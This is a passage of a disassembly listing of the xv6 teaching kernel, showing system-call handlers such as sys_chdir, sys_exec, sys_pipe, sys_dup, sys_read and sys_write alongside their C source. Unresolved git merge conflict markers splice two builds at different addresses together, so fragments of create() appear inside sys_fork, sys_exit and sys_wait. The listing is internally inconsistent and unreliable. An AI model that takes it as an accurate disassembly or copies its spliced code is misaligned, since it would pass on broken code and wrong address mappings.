801052c0: e8 2b d9 ff ff call 80102bf0 <end_op>
801052c5: b8 ff ff ff ff mov $0xffffffff,%eax
801052ca: c9 leave
801052cb: c3 ret
801052cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801052d0 <sys_chdir>:
801052d0: 55 push %ebp
801052d1: 89 e5 mov %esp,%ebp
801052d3: 53 push %ebx
801052d4: 83 ec 14 sub $0x14,%esp
801052d7: e8 a4 d8 ff ff call 80102b80 <begin_op>
801052dc: 8d 45 f4 lea -0xc(%ebp),%eax
801052df: 83 ec 08 sub $0x8,%esp
801052e2: 50 push %eax
801052e3: 6a 00 push $0x0
801052e5: e8 76 f5 ff ff call 80104860 <argstr>
801052ea: 83 c4 10 add $0x10,%esp
801052ed: 85 c0 test %eax,%eax
801052ef: 78 7f js 80105370 <sys_chdir+0xa0>
801052f1: 83 ec 0c sub $0xc,%esp
801052f4: ff 75 f4 pushl -0xc(%ebp)
801052f7: e8 e4 cb ff ff call 80101ee0 <namei>
801052fc: 83 c4 10 add $0x10,%esp
801052ff: 85 c0 test %eax,%eax
80105301: 89 c3 mov %eax,%ebx
80105303: 74 6b je 80105370 <sys_chdir+0xa0>
80105305: 83 ec 0c sub $0xc,%esp
80105308: 50 push %eax
80105309: e8 a2 c3 ff ff call 801016b0 <ilock>
8010530e: 83 c4 10 add $0x10,%esp
80105311: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx)
80105316: 75 38 jne 80105350 <sys_chdir+0x80>
80105318: 83 ec 0c sub $0xc,%esp
8010531b: 53 push %ebx
8010531c: e8 5f c4 ff ff call 80101780 <iunlock>
80105321: 58 pop %eax
80105322: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105328: ff 70 68 pushl 0x68(%eax)
8010532b: e8 90 c4 ff ff call 801017c0 <iput>
80105330: e8 bb d8 ff ff call 80102bf0 <end_op>
80105335: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010533b: 83 c4 10 add $0x10,%esp
8010533e: 89 58 68 mov %ebx,0x68(%eax)
80105341: 31 c0 xor %eax,%eax
80105343: 8b 5d fc mov -0x4(%ebp),%ebx
80105346: c9 leave
80105347: c3 ret
80105348: 90 nop
80105349: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80105350: 83 ec 0c sub $0xc,%esp
80105353: 53 push %ebx
80105354: e8 97 c5 ff ff call 801018f0 <iunlockput>
80105359: e8 92 d8 ff ff call 80102bf0 <end_op>
8010535e: 83 c4 10 add $0x10,%esp
80105361: b8 ff ff ff ff mov $0xffffffff,%eax
80105366: eb db jmp 80105343 <sys_chdir+0x73>
80105368: 90 nop
80105369: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80105370: e8 7b d8 ff ff call 80102bf0 <end_op>
80105375: b8 ff ff ff ff mov $0xffffffff,%eax
8010537a: eb c7 jmp 80105343 <sys_chdir+0x73>
8010537c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80105380 <sys_exec>:
80105380: 55 push %ebp
80105381: 89 e5 mov %esp,%ebp
80105383: 57 push %edi
80105384: 56 push %esi
80105385: 53 push %ebx
80105386: 8d 85 5c ff ff ff lea -0xa4(%ebp),%eax
8010538c: 81 ec a4 00 00 00 sub $0xa4,%esp
80105392: 50 push %eax
80105393: 6a 00 push $0x0
80105395: e8 c6 f4 ff ff call 80104860 <argstr>
8010539a: 83 c4 10 add $0x10,%esp
8010539d: 85 c0 test %eax,%eax
8010539f: 78 7f js 80105420 <sys_exec+0xa0>
801053a1: 8d 85 60 ff ff ff lea -0xa0(%ebp),%eax
801053a7: 83 ec 08 sub $0x8,%esp
801053aa: 50 push %eax
801053ab: 6a 01 push $0x1
801053ad: e8 1e f4 ff ff call 801047d0 <argint>
801053b2: 83 c4 10 add $0x10,%esp
801053b5: 85 c0 test %eax,%eax
801053b7: 78 67 js 80105420 <sys_exec+0xa0>
801053b9: 8d 85 68 ff ff ff lea -0x98(%ebp),%eax
801053bf: 83 ec 04 sub $0x4,%esp
801053c2: 8d b5 68 ff ff ff lea -0x98(%ebp),%esi
801053c8: 68 80 00 00 00 push $0x80
801053cd: 6a 00 push $0x0
801053cf: 8d bd 64 ff ff ff lea -0x9c(%ebp),%edi
801053d5: 50 push %eax
801053d6: 31 db xor %ebx,%ebx
801053d8: e8 23 f1 ff ff call 80104500 <memset>
801053dd: 83 c4 10 add $0x10,%esp
801053e0: 8b 85 60 ff ff ff mov -0xa0(%ebp),%eax
801053e6: 83 ec 08 sub $0x8,%esp
801053e9: 57 push %edi
801053ea: 8d 04 98 lea (%eax,%ebx,4),%eax
801053ed: 50 push %eax
801053ee: e8 5d f3 ff ff call 80104750 <fetchint>
801053f3: 83 c4 10 add $0x10,%esp
801053f6: 85 c0 test %eax,%eax
801053f8: 78 26 js 80105420 <sys_exec+0xa0>
801053fa: 8b 85 64 ff ff ff mov -0x9c(%ebp),%eax
80105400: 85 c0 test %eax,%eax
80105402: 74 2c je 80105430 <sys_exec+0xb0>
80105404: 83 ec 08 sub $0x8,%esp
80105407: 56 push %esi
80105408: 50 push %eax
80105409: e8 72 f3 ff ff call 80104780 <fetchstr>
8010540e: 83 c4 10 add $0x10,%esp
80105411: 85 c0 test %eax,%eax
80105413: 78 0b js 80105420 <sys_exec+0xa0>
80105415: 83 c3 01 add $0x1,%ebx
80105418: 83 c6 04 add $0x4,%esi
8010541b: 83 fb 20 cmp $0x20,%ebx
8010541e: 75 c0 jne 801053e0 <sys_exec+0x60>
80105420: 8d 65 f4 lea -0xc(%ebp),%esp
80105423: b8 ff ff ff ff mov $0xffffffff,%eax
80105428: 5b pop %ebx
80105429: 5e pop %esi
8010542a: 5f pop %edi
8010542b: 5d pop %ebp
8010542c: c3 ret
8010542d: 8d 76 00 lea 0x0(%esi),%esi
80105430: 8d 85 68 ff ff ff lea -0x98(%ebp),%eax
80105436: 83 ec 08 sub $0x8,%esp
80105439: c7 84 9d 68 ff ff ff movl $0x0,-0x98(%ebp,%ebx,4)
80105440: 00 00 00 00
80105444: 50 push %eax
80105445: ff b5 5c ff ff ff pushl -0xa4(%ebp)
8010544b: e8 60 b5 ff ff call 801009b0 <exec>
80105450: 83 c4 10 add $0x10,%esp
80105453: 8d 65 f4 lea -0xc(%ebp),%esp
80105456: 5b pop %ebx
80105457: 5e pop %esi
80105458: 5f pop %edi
80105459: 5d pop %ebp
8010545a: c3 ret
8010545b: 90 nop
8010545c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80105460 <sys_pipe>:
80105460: 55 push %ebp
80105461: 89 e5 mov %esp,%ebp
80105463: 57 push %edi
80105464: 56 push %esi
80105465: 53 push %ebx
80105466: 8d 45 dc lea -0x24(%ebp),%eax
80105469: 83 ec 20 sub $0x20,%esp
8010546c: 6a 08 push $0x8
8010546e: 50 push %eax
8010546f: 6a 00 push $0x0
80105471: e8 9a f3 ff ff call 80104810 <argptr>
80105476: 83 c4 10 add $0x10,%esp
80105479: 85 c0 test %eax,%eax
8010547b: 78 48 js 801054c5 <sys_pipe+0x65>
8010547d: 8d 45 e4 lea -0x1c(%ebp),%eax
80105480: 83 ec 08 sub $0x8,%esp
80105483: 50 push %eax
80105484: 8d 45 e0 lea -0x20(%ebp),%eax
80105487: 50 push %eax
80105488: e8 23 de ff ff call 801032b0 <pipealloc>
8010548d: 83 c4 10 add $0x10,%esp
80105490: 85 c0 test %eax,%eax
80105492: 78 31 js 801054c5 <sys_pipe+0x65>
80105494: 8b 5d e0 mov -0x20(%ebp),%ebx
80105497: 65 8b 0d 04 00 00 00 mov %gs:0x4,%ecx
8010549e: 31 c0 xor %eax,%eax
801054a0: 8b 54 81 28 mov 0x28(%ecx,%eax,4),%edx
801054a4: 85 d2 test %edx,%edx
801054a6: 74 28 je 801054d0 <sys_pipe+0x70>
801054a8: 83 c0 01 add $0x1,%eax
801054ab: 83 f8 10 cmp $0x10,%eax
801054ae: 75 f0 jne 801054a0 <sys_pipe+0x40>
801054b0: 83 ec 0c sub $0xc,%esp
801054b3: 53 push %ebx
801054b4: e8 67 b9 ff ff call 80100e20 <fileclose>
801054b9: 58 pop %eax
801054ba: ff 75 e4 pushl -0x1c(%ebp)
801054bd: e8 5e b9 ff ff call 80100e20 <fileclose>
801054c2: 83 c4 10 add $0x10,%esp
801054c5: b8 ff ff ff ff mov $0xffffffff,%eax
801054ca: eb 45 jmp 80105511 <sys_pipe+0xb1>
801054cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801054d0: 8d 34 81 lea (%ecx,%eax,4),%esi
801054d3: 8b 7d e4 mov -0x1c(%ebp),%edi
801054d6: 31 d2 xor %edx,%edx
801054d8: 89 5e 28 mov %ebx,0x28(%esi)
801054db: 90 nop
801054dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801054e0: 83 7c 91 28 00 cmpl $0x0,0x28(%ecx,%edx,4)
801054e5: 74 19 je 80105500 <sys_pipe+0xa0>
801054e7: 83 c2 01 add $0x1,%edx
801054ea: 83 fa 10 cmp $0x10,%edx
801054ed: 75 f1 jne 801054e0 <sys_pipe+0x80>
801054ef: c7 46 28 00 00 00 00 movl $0x0,0x28(%esi)
801054f6: eb b8 jmp 801054b0 <sys_pipe+0x50>
801054f8: 90 nop
801054f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80105500: 89 7c 91 28 mov %edi,0x28(%ecx,%edx,4)
80105504: 8b 4d dc mov -0x24(%ebp),%ecx
80105507: 89 01 mov %eax,(%ecx)
80105509: 8b 45 dc mov -0x24(%ebp),%eax
8010550c: 89 50 04 mov %edx,0x4(%eax)
8010550f: 31 c0 xor %eax,%eax
80105511: 8d 65 f4 lea -0xc(%ebp),%esp
80105514: 5b pop %ebx
80105515: 5e pop %esi
80105516: 5f pop %edi
80105517: 5d pop %ebp
80105518: c3 ret
80105519: 66 90 xchg %ax,%ax
8010551b: 66 90 xchg %ax,%ax
8010551d: 66 90 xchg %ax,%ax
8010551f: 90 nop
80105520 <sys_fork>:
#include "mmu.h"
#include "proc.h"
int
sys_fork(void)
{
80105520: 55 push %ebp
80105521: 89 e5 mov %esp,%ebp
return fork();
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
}
80105523: 5d pop %ebp
#include "proc.h"
int
sys_fork(void)
{
<<<<<<< HEAD
80104bc4: 89 55 c4 mov %edx,-0x3c(%ebp)
80104bc7: 89 4d bc mov %ecx,-0x44(%ebp)
uint off;
struct inode *ip, *dp;
char name[DIRSIZ];
if((dp = nameiparent(path, name)) == 0)
80104bca: e8 d1 d2 ff ff call 80101ea0 <nameiparent>
80104bcf: 83 c4 10 add $0x10,%esp
80104bd2: 85 c0 test %eax,%eax
80104bd4: 0f 84 f6 00 00 00 je 80104cd0 <create+0x120>
return 0;
ilock(dp);
80104bda: 83 ec 0c sub $0xc,%esp
80104bdd: 89 c7 mov %eax,%edi
80104bdf: 50 push %eax
80104be0: e8 6b ca ff ff call 80101650 <ilock>
if((ip = dirlookup(dp, name, &off)) != 0){
80104be5: 8d 45 d4 lea -0x2c(%ebp),%eax
80104be8: 83 c4 0c add $0xc,%esp
80104beb: 50 push %eax
80104bec: 56 push %esi
80104bed: 57 push %edi
80104bee: e8 6d cf ff ff call 80101b60 <dirlookup>
80104bf3: 83 c4 10 add $0x10,%esp
80104bf6: 85 c0 test %eax,%eax
80104bf8: 89 c3 mov %eax,%ebx
80104bfa: 74 54 je 80104c50 <create+0xa0>
iunlockput(dp);
80104bfc: 83 ec 0c sub $0xc,%esp
80104bff: 57 push %edi
80104c00: e8 bb cc ff ff call 801018c0 <iunlockput>
ilock(ip);
80104c05: 89 1c 24 mov %ebx,(%esp)
80104c08: e8 43 ca ff ff call 80101650 <ilock>
if(type == T_FILE && ip->type == T_FILE)
80104c0d: 83 c4 10 add $0x10,%esp
80104c10: 66 83 7d c4 02 cmpw $0x2,-0x3c(%ebp)
80104c15: 75 19 jne 80104c30 <create+0x80>
80104c17: 66 83 7b 50 02 cmpw $0x2,0x50(%ebx)
80104c1c: 89 d8 mov %ebx,%eax
80104c1e: 75 10 jne 80104c30 <create+0x80>
panic("create: dirlink");
iunlockput(dp);
=======
return fork();
80105524: e9 d7 e3 ff ff jmp 80103900 <fork>
80105529: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80105530 <sys_exit>:
}
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
int
sys_exit(void)
{
80105530: 55 push %ebp
80105531: 89 e5 mov %esp,%ebp
80105533: 83 ec 08 sub $0x8,%esp
exit();
80105536: e8 95 e6 ff ff call 80103bd0 <exit>
return 0; // not reached
}
<<<<<<< HEAD
80104c20: 8d 65 f4 lea -0xc(%ebp),%esp
80104c23: 5b pop %ebx
80104c24: 5e pop %esi
80104c25: 5f pop %edi
80104c26: 5d pop %ebp
80104c27: c3 ret
80104c28: 90 nop
80104c29: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if((ip = dirlookup(dp, name, &off)) != 0){
iunlockput(dp);
ilock(ip);
if(type == T_FILE && ip->type == T_FILE)
return ip;
iunlockput(ip);
80104c30: 83 ec 0c sub $0xc,%esp
80104c33: 53 push %ebx
80104c34: e8 87 cc ff ff call 801018c0 <iunlockput>
return 0;
80104c39: 83 c4 10 add $0x10,%esp
panic("create: dirlink");
=======
8010553b: 31 c0 xor %eax,%eax
8010553d: c9 leave
8010553e: c3 ret
8010553f: 90 nop
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
80105540 <sys_wait>:
int
sys_wait(void)
{
80105540: 55 push %ebp
80105541: 89 e5 mov %esp,%ebp
return wait();
}
80105543: 5d pop %ebp
}
<<<<<<< HEAD
80104c3c: 8d 65 f4 lea -0xc(%ebp),%esp
iunlockput(dp);
ilock(ip);
if(type == T_FILE && ip->type == T_FILE)
return ip;
iunlockput(ip);
return 0;
80104c3f: 31 c0 xor %eax,%eax
panic("create: dirlink");
=======
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
int
sys_wait(void)
{
return wait();
80105544: e9 b7 e8 ff ff jmp 80103e00 <wait>
80105549: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80105550 <sys_kill>:
}
<<<<<<< HEAD
80104c41: 5b pop %ebx
80104c42: 5e pop %esi
80104c43: 5f pop %edi
80104c44: 5d pop %ebp
80104c45: c3 ret
80104c46: 8d 76 00 lea 0x0(%esi),%esi
80104c49: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
return ip;
iunlockput(ip);
return 0;
}
if((ip = ialloc(dp->dev, type)) == 0)
80104c50: 0f bf 45 c4 movswl -0x3c(%ebp),%eax
80104c54: 83 ec 08 sub $0x8,%esp
80104c57: 50 push %eax
80104c58: ff 37 pushl (%edi)
80104c5a: e8 81 c8 ff ff call 801014e0 <ialloc>
80104c5f: 83 c4 10 add $0x10,%esp
80104c62: 85 c0 test %eax,%eax
80104c64: 89 c3 mov %eax,%ebx
80104c66: 0f 84 cc 00 00 00 je 80104d38 <create+0x188>
panic("create: ialloc");
ilock(ip);
80104c6c: 83 ec 0c sub $0xc,%esp
80104c6f: 50 push %eax
80104c70: e8 db c9 ff ff call 80101650 <ilock>
ip->major = major;
80104c75: 0f b7 45 c0 movzwl -0x40(%ebp),%eax
80104c79: 66 89 43 52 mov %ax,0x52(%ebx)
ip->minor = minor;
80104c7d: 0f b7 45 bc movzwl -0x44(%ebp),%eax
80104c81: 66 89 43 54 mov %ax,0x54(%ebx)
ip->nlink = 1;
80104c85: b8 01 00 00 00 mov $0x1,%eax
80104c8a: 66 89 43 56 mov %ax,0x56(%ebx)
iupdate(ip);
80104c8e: 89 1c 24 mov %ebx,(%esp)
80104c91: e8 0a c9 ff ff call 801015a0 <iupdate>
if(type == T_DIR){ // Create . and .. entries.
80104c96: 83 c4 10 add $0x10,%esp
80104c99: 66 83 7d c4 01 cmpw $0x1,-0x3c(%ebp)
80104c9e: 74 40 je 80104ce0 <create+0x130>
// No ip->nlink++ for ".": avoid cyclic ref count.
if(dirlink(ip, ".", ip->inum) < 0 || dirlink(ip, "..", dp->inum) < 0)
panic("create dots");
}
if(dirlink(dp, name, ip->inum) < 0)
80104ca0: 83 ec 04 sub $0x4,%esp
80104ca3: ff 73 04 pushl 0x4(%ebx)
80104ca6: 56 push %esi
80104ca7: 57 push %edi
80104ca8: e8 13 d1 ff ff call 80101dc0 <dirlink>
80104cad: 83 c4 10 add $0x10,%esp
80104cb0: 85 c0 test %eax,%eax
80104cb2: 78 77 js 80104d2b <create+0x17b>
panic("create: dirlink");
iunlockput(dp);
80104cb4: 83 ec 0c sub $0xc,%esp
80104cb7: 57 push %edi
80104cb8: e8 03 cc ff ff call 801018c0 <iunlockput>
return ip;
80104cbd: 83 c4 10 add $0x10,%esp
}
80104cc0: 8d 65 f4 lea -0xc(%ebp),%esp
if(dirlink(dp, name, ip->inum) < 0)
panic("create: dirlink");
iunlockput(dp);
return ip;
80104cc3: 89 d8 mov %ebx,%eax
}
80104cc5: 5b pop %ebx
80104cc6: 5e pop %esi
80104cc7: 5f pop %edi
80104cc8: 5d pop %ebp
80104cc9: c3 ret
80104cca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
uint off;
struct inode *ip, *dp;
char name[DIRSIZ];
if((dp = nameiparent(path, name)) == 0)
return 0;
80104cd0: 31 c0 xor %eax,%eax
80104cd2: e9 49 ff ff ff jmp 80104c20 <create+0x70>
80104cd7: 89 f6 mov %esi,%esi
80104cd9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
ip->minor = minor;
ip->nlink = 1;
iupdate(ip);
if(type == T_DIR){ // Create . and .. entries.
dp->nlink++; // for ".."
80104ce0: 66 83 47 56 01 addw $0x1,0x56(%edi)
iupdate(dp);
80104ce5: 83 ec 0c sub $0xc,%esp
80104ce8: 57 push %edi
80104ce9: e8 b2 c8 ff ff call 801015a0 <iupdate>
// No ip->nlink++ for ".": avoid cyclic ref count.
if(dirlink(ip, ".", ip->inum) < 0 || dirlink(ip, "..", dp->inum) < 0)
80104cee: 83 c4 0c add $0xc,%esp
80104cf1: ff 73 04 pushl 0x4(%ebx)
80104cf4: 68 c4 7a 10 80 push $0x80107ac4
80104cf9: 53 push %ebx
80104cfa: e8 c1 d0 ff ff call 80101dc0 <dirlink>
80104cff: 83 c4 10 add $0x10,%esp
80104d02: 85 c0 test %eax,%eax
80104d04: 78 18 js 80104d1e <create+0x16e>
80104d06: 83 ec 04 sub $0x4,%esp
80104d09: ff 77 04 pushl 0x4(%edi)
80104d0c: 68 c3 7a 10 80 push $0x80107ac3
80104d11: 53 push %ebx
80104d12: e8 a9 d0 ff ff call 80101dc0 <dirlink>
80104d17: 83 c4 10 add $0x10,%esp
80104d1a: 85 c0 test %eax,%eax
80104d1c: 79 82 jns 80104ca0 <create+0xf0>
panic("create dots");
80104d1e: 83 ec 0c sub $0xc,%esp
80104d21: 68 b7 7a 10 80 push $0x80107ab7
80104d26: e8 45 b6 ff ff call 80100370 <panic>
}
if(dirlink(dp, name, ip->inum) < 0)
panic("create: dirlink");
80104d2b: 83 ec 0c sub $0xc,%esp
80104d2e: 68 c6 7a 10 80 push $0x80107ac6
80104d33: e8 38 b6 ff ff call 80100370 <panic>
iunlockput(ip);
return 0;
}
if((ip = ialloc(dp->dev, type)) == 0)
panic("create: ialloc");
80104d38: 83 ec 0c sub $0xc,%esp
80104d3b: 68 a8 7a 10 80 push $0x80107aa8
80104d40: e8 2b b6 ff ff call 80100370 <panic>
80104d45: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104d49: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104d50 <argfd.constprop.0>:
#include "fcntl.h"
// Fetch the nth word-sized system call argument as a file descriptor
// and return both the descriptor and the corresponding struct file.
static int
argfd(int n, int *pfd, struct file **pf)
80104d50: 55 push %ebp
80104d51: 89 e5 mov %esp,%ebp
80104d53: 56 push %esi
80104d54: 53 push %ebx
80104d55: 89 c6 mov %eax,%esi
{
int fd;
struct file *f;
if(argint(n, &fd) < 0)
80104d57: 8d 45 f4 lea -0xc(%ebp),%eax
#include "fcntl.h"
// Fetch the nth word-sized system call argument as a file descriptor
// and return both the descriptor and the corresponding struct file.
static int
argfd(int n, int *pfd, struct file **pf)
80104d5a: 89 d3 mov %edx,%ebx
80104d5c: 83 ec 18 sub $0x18,%esp
{
int fd;
struct file *f;
if(argint(n, &fd) < 0)
80104d5f: 50 push %eax
80104d60: 6a 00 push $0x0
80104d62: e8 c9 fc ff ff call 80104a30 <argint>
80104d67: 83 c4 10 add $0x10,%esp
80104d6a: 85 c0 test %eax,%eax
80104d6c: 78 3a js 80104da8 <argfd.constprop.0+0x58>
return -1;
if(fd < 0 || fd >= NOFILE || (f=proc->ofile[fd]) == 0)
80104d6e: 8b 45 f4 mov -0xc(%ebp),%eax
80104d71: 83 f8 0f cmp $0xf,%eax
80104d74: 77 32 ja 80104da8 <argfd.constprop.0+0x58>
80104d76: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
80104d7d: 8b 54 82 28 mov 0x28(%edx,%eax,4),%edx
80104d81: 85 d2 test %edx,%edx
80104d83: 74 23 je 80104da8 <argfd.constprop.0+0x58>
return -1;
if(pfd)
80104d85: 85 f6 test %esi,%esi
80104d87: 74 02 je 80104d8b <argfd.constprop.0+0x3b>
*pfd = fd;
80104d89: 89 06 mov %eax,(%esi)
if(pf)
80104d8b: 85 db test %ebx,%ebx
80104d8d: 74 11 je 80104da0 <argfd.constprop.0+0x50>
*pf = f;
80104d8f: 89 13 mov %edx,(%ebx)
return 0;
80104d91: 31 c0 xor %eax,%eax
}
80104d93: 8d 65 f8 lea -0x8(%ebp),%esp
80104d96: 5b pop %ebx
80104d97: 5e pop %esi
80104d98: 5d pop %ebp
80104d99: c3 ret
80104d9a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
return -1;
if(pfd)
*pfd = fd;
if(pf)
*pf = f;
return 0;
80104da0: 31 c0 xor %eax,%eax
80104da2: eb ef jmp 80104d93 <argfd.constprop.0+0x43>
80104da4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
{
int fd;
struct file *f;
if(argint(n, &fd) < 0)
return -1;
80104da8: b8 ff ff ff ff mov $0xffffffff,%eax
80104dad: eb e4 jmp 80104d93 <argfd.constprop.0+0x43>
80104daf: 90 nop
80104db0 <sys_dup>:
return -1;
}
int
sys_dup(void)
{
80104db0: 55 push %ebp
struct file *f;
int fd;
if(argfd(0, 0, &f) < 0)
80104db1: 31 c0 xor %eax,%eax
return -1;
}
int
sys_dup(void)
{
80104db3: 89 e5 mov %esp,%ebp
80104db5: 53 push %ebx
struct file *f;
int fd;
if(argfd(0, 0, &f) < 0)
80104db6: 8d 55 f4 lea -0xc(%ebp),%edx
return -1;
}
int
sys_dup(void)
{
80104db9: 83 ec 14 sub $0x14,%esp
struct file *f;
int fd;
if(argfd(0, 0, &f) < 0)
80104dbc: e8 8f ff ff ff call 80104d50 <argfd.constprop.0>
80104dc1: 85 c0 test %eax,%eax
80104dc3: 78 1b js 80104de0 <sys_dup+0x30>
return -1;
if((fd=fdalloc(f)) < 0)
80104dc5: 8b 55 f4 mov -0xc(%ebp),%edx
80104dc8: 65 a1 04 00 00 00 mov %gs:0x4,%eax
static int
fdalloc(struct file *f)
{
int fd;
for(fd = 0; fd < NOFILE; fd++){
80104dce: 31 db xor %ebx,%ebx
if(proc->ofile[fd] == 0){
80104dd0: 8b 4c 98 28 mov 0x28(%eax,%ebx,4),%ecx
80104dd4: 85 c9 test %ecx,%ecx
80104dd6: 74 18 je 80104df0 <sys_dup+0x40>
static int
fdalloc(struct file *f)
{
int fd;
for(fd = 0; fd < NOFILE; fd++){
80104dd8: 83 c3 01 add $0x1,%ebx
80104ddb: 83 fb 10 cmp $0x10,%ebx
80104dde: 75 f0 jne 80104dd0 <sys_dup+0x20>
{
struct file *f;
int fd;
if(argfd(0, 0, &f) < 0)
return -1;
80104de0: b8 ff ff ff ff mov $0xffffffff,%eax
if((fd=fdalloc(f)) < 0)
return -1;
filedup(f);
return fd;
}
80104de5: 8b 5d fc mov -0x4(%ebp),%ebx
80104de8: c9 leave
80104de9: c3 ret
80104dea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(argfd(0, 0, &f) < 0)
return -1;
if((fd=fdalloc(f)) < 0)
return -1;
filedup(f);
80104df0: 83 ec 0c sub $0xc,%esp
{
int fd;
for(fd = 0; fd < NOFILE; fd++){
if(proc->ofile[fd] == 0){
proc->ofile[fd] = f;
80104df3: 89 54 98 28 mov %edx,0x28(%eax,%ebx,4)
if(argfd(0, 0, &f) < 0)
return -1;
if((fd=fdalloc(f)) < 0)
return -1;
filedup(f);
80104df7: 52 push %edx
80104df8: e8 c3 bf ff ff call 80100dc0 <filedup>
return fd;
80104dfd: 89 d8 mov %ebx,%eax
80104dff: 83 c4 10 add $0x10,%esp
}
80104e02: 8b 5d fc mov -0x4(%ebp),%ebx
80104e05: c9 leave
80104e06: c3 ret
80104e07: 89 f6 mov %esi,%esi
80104e09: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104e10 <sys_read>:
int
sys_read(void)
{
80104e10: 55 push %ebp
struct file *f;
int n;
char *p;
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
80104e11: 31 c0 xor %eax,%eax
return fd;
}
int
sys_read(void)
{
80104e13: 89 e5 mov %esp,%ebp
80104e15: 83 ec 18 sub $0x18,%esp
struct file *f;
int n;
char *p;
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
80104e18: 8d 55 ec lea -0x14(%ebp),%edx
80104e1b: e8 30 ff ff ff call 80104d50 <argfd.constprop.0>
80104e20: 85 c0 test %eax,%eax
80104e22: 78 4c js 80104e70 <sys_read+0x60>
80104e24: 8d 45 f0 lea -0x10(%ebp),%eax
80104e27: 83 ec 08 sub $0x8,%esp
80104e2a: 50 push %eax
80104e2b: 6a 02 push $0x2
80104e2d: e8 fe fb ff ff call 80104a30 <argint>
80104e32: 83 c4 10 add $0x10,%esp
80104e35: 85 c0 test %eax,%eax
80104e37: 78 37 js 80104e70 <sys_read+0x60>
80104e39: 8d 45 f4 lea -0xc(%ebp),%eax
80104e3c: 83 ec 04 sub $0x4,%esp
80104e3f: ff 75 f0 pushl -0x10(%ebp)
80104e42: 50 push %eax
80104e43: 6a 01 push $0x1
80104e45: e8 26 fc ff ff call 80104a70 <argptr>
80104e4a: 83 c4 10 add $0x10,%esp
80104e4d: 85 c0 test %eax,%eax
80104e4f: 78 1f js 80104e70 <sys_read+0x60>
return -1;
return fileread(f, p, n);
80104e51: 83 ec 04 sub $0x4,%esp
80104e54: ff 75 f0 pushl -0x10(%ebp)
80104e57: ff 75 f4 pushl -0xc(%ebp)
80104e5a: ff 75 ec pushl -0x14(%ebp)
80104e5d: e8 ce c0 ff ff call 80100f30 <fileread>
80104e62: 83 c4 10 add $0x10,%esp
}
80104e65: c9 leave
80104e66: c3 ret
80104e67: 89 f6 mov %esi,%esi
80104e69: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
struct file *f;
int n;
char *p;
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
return -1;
80104e70: b8 ff ff ff ff mov $0xffffffff,%eax
return fileread(f, p, n);
}
80104e75: c9 leave
80104e76: c3 ret
80104e77: 89 f6 mov %esi,%esi
80104e79: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104e80 <sys_write>:
int
sys_write(void)
{
80104e80: 55 push %ebp
struct file *f;
int n;
char *p;
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
80104e81: 31 c0 xor %eax,%eax
return fileread(f, p, n);
}
int
sys_write(void)
{
80104e83: 89 e5 mov %esp,%ebp
80104e85: 83 ec 18 sub $0x18,%esp
struct file *f;
int n;
char *p;
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
80104e88: 8d 55 ec lea -0x14(%ebp),%edx
80104e8b: e8 c0 fe ff ff call 80104d50 <argfd.constprop.0>
80104e90: 85 c0 test %eax,%eax
80104e92: 78 4c js 80104ee0 <sys_write+0x60>
80104e94: 8d 45 f0 lea -0x10(%ebp),%eax
80104e97: 83 ec 08 sub $0x8,%esp
80104e9a: 50 push %eax
80104e9b: 6a 02 push $0x2
80104e9d: e8 8e fb ff ff call 80104a30 <argint>
80104ea2: 83 c4 10 add $0x10,%esp
80104ea5: 85 c0 test %eax,%eax
80104ea7: 78 37 js 80104ee0 <sys_write+0x60>
80104ea9: 8d 45 f4 lea -0xc(%ebp),%eax
80104eac: 83 ec 04 sub $0x4,%esp
80104eaf: ff 75 f0 pushl -0x10(%ebp)
80104eb2: 50 push %eax
80104eb3: 6a 01 push $0x1
80104eb5: e8 b6 fb ff ff call 80104a70 <argptr>
80104eba: 83 c4 10 add $0x10,%esp
80104ebd: 85 c0 test %eax,%eax
80104ebf: 78 1f js 80104ee0 <sys_write+0x60>
return -1;
return filewrite(f, p, n);
80104ec1: 83 ec 04 sub $0x4,%esp
80104ec4: ff 75 f0 pushl -0x10(%ebp)
80104ec7: ff 75 f4 pushl -0xc(%ebp)
80104eca: ff 75 ec pushl -0x14(%ebp)
80104ecd: e8 ee c0 ff ff call 80100fc0 <filewrite>
80104ed2: 83 c4 10 add $0x10,%esp
}
80104ed5: c9 leave
80104ed6: c3 ret
